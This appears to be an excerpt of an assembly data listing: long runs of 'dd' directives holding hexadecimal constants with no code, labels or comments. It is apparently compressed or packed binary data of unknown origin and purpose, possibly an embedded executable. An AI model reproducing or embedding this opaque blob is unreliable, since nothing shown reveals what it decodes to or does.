8334F1FCh, 7803044Ah, 46068A1Bh, 147ED9C1h dd 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h, 5AEC128Ah dd 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h, 0FF314390h dd 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh, 0F92A09E8h dd 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh, 0AE0790FCh dd 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h, 477CF139h dd 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h, 455DB2CAh dd 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h, 1347E95Bh dd 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h, 41B5007Ch dd 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h, 403175FFh dd 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h, 504D0322h dd 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh, 0CE4652CAh dd 10584960h, 0D1350096h, 590CD722h, 50009A20h, 32125B3Bh dd 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh dd 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h dd 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h dd 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h, 241D2D0Fh dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h dd 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch, 3203E259h dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h, 3B74A607h dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h, 6602EBEDh dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh dd 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h dd 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h dd 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh dd 0E892AB34h dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh dd 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h dd 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h dd 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah dd 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h dd 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh dd 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h dd 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h dd 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh dd 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h dd 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh dd 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h dd 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h dd 62491778h, 4424A0F7h, 14002018h, 597E8088h, 222648h dd 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h, 0FF32DA53h dd 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h dd 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh dd 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h dd 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh dd 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh dd 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h dd 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h dd 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h dd 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h dd 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h dd 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h dd 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h dd 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h dd 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h dd 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh dd 0B400FA83h, 85541977h, 6032198h, 132453E1h, 41C5E94Eh dd 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h dd 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h dd 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h dd 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh dd 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h dd 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh dd 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh dd 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh dd 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h dd 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h dd 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh dd 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h dd 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah dd 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h dd 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h dd 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh dd 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h dd 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh dd 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh dd 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h dd 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh dd 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h dd 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h dd 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh dd 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h dd 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h dd 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh dd 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h dd 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh dd 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h dd 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h dd 3D620F16h, 9E18FCh, 3318C50h, 800422B3h, 340045E0h dd 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h dd 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh dd 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h dd 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h dd 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah dd 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah dd 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h dd 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h dd 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h dd 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h dd 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh dd 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h dd 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h dd 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h dd 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh dd 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h dd 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h dd 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h dd 0E78E617h, 0B60516A1h, 55718012h, 8D093927h, 70F70Fh dd 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch dd 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h dd 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h dd 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h dd 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h dd 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h dd 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h dd 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah dd 0C02001A1h dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h dd 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h, 0A791001h dd 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h, 20E9DB91h dd 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h, 0D68ED24Eh dd 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh, 40001B1Fh dd 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h, 0F3E003E5h dd 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h, 5875FFh dd 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h, 0FFDA00C3h dd 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h, 0F882681h dd 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h, 0C8EE07h dd 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h, 42CC88h dd 2F3344DCh, 85844F80h, 251520Fh, 40400FABh, 9C7C20F9h dd 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h, 2A60A510h dd 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh, 38F8D333h dd 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh, 2500AFEAh dd 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h, 2C383500h dd 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h, 0FC2B7A81h dd 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h, 703C685Dh dd 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h, 2299B355h dd 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h, 0E8C76603h dd 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h, 4991410h, 0ECA78056h dd 98EB00E8h, 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh dd 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh dd 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h dd 84280015h, 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h dd 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h dd 8B82F53h, 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah dd 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h dd 0AEB1Fh, 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h dd 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h dd 5771E14h, 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h dd 0A8CD191Fh, 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h dd 1442058Bh, 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h dd 4F34176Eh, 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h dd 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h dd 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch dd 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h dd 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh dd 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h dd 331C014Eh, 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h dd 69E480C4h, 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h dd 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h dd 3998729Ch, 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h dd 98396072h, 22586132h, 60502354h, 4800C819h, 407244E4h dd 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h dd 0FC319382h, 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh dd 10E494A1h, 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h dd 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh dd 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h dd 4914DC05h, 57780800h, 64487710h, 5387000Ch, 517F90FDh dd 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h, 0B1465080h dd 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h dd 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh dd 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h dd 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h dd 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h dd 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h dd 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h dd 722BEC7h, 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh dd 91B123B0h, 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h dd 0C8BA91h, 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h dd 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h dd 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh dd 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h dd 805D883Ah, 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h dd 651F4845h, 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h dd 754F450Ch, 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch dd 0A9E95C5Eh, 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh dd 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h dd 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h dd 0F0756020h, 10165209h, 35010E65h, 47F658A8h, 79043CD0h dd 0F01F642h, 76694445h, 415A7900h, 90016FBBh, 585E60C1h dd 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h, 7700C820h dd 8210C92h, 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch dd 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h dd 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h dd 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch dd 14D4C1A4h, 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h dd 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h dd 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h dd 7542F4AFh, 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h dd 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h dd 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h dd 1656C8Bh, 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h dd 6B632661h, 67905081h, 4064A294h, 1109C93Bh, 20747003h dd 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h dd 8A04512h, 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh dd 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh dd 738572D9h, 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh dd 8F60E074h, 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh dd 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh dd 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h dd 4CEDA1FEh, 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h dd 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh dd 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h dd 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h dd 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh dd 12A74A6h, 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h dd 0A120DC7Fh dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh dd 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h dd 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh dd 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh dd 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h dd 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h dd 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h dd 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh, 0C73F692Fh dd 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh dd 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h dd 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h dd 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h dd 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h dd 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h, 34D6373Bh dd 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch dd 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h dd 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh dd 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h, 8E7B9000h dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h dd 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h dd 8F9A289Ch, 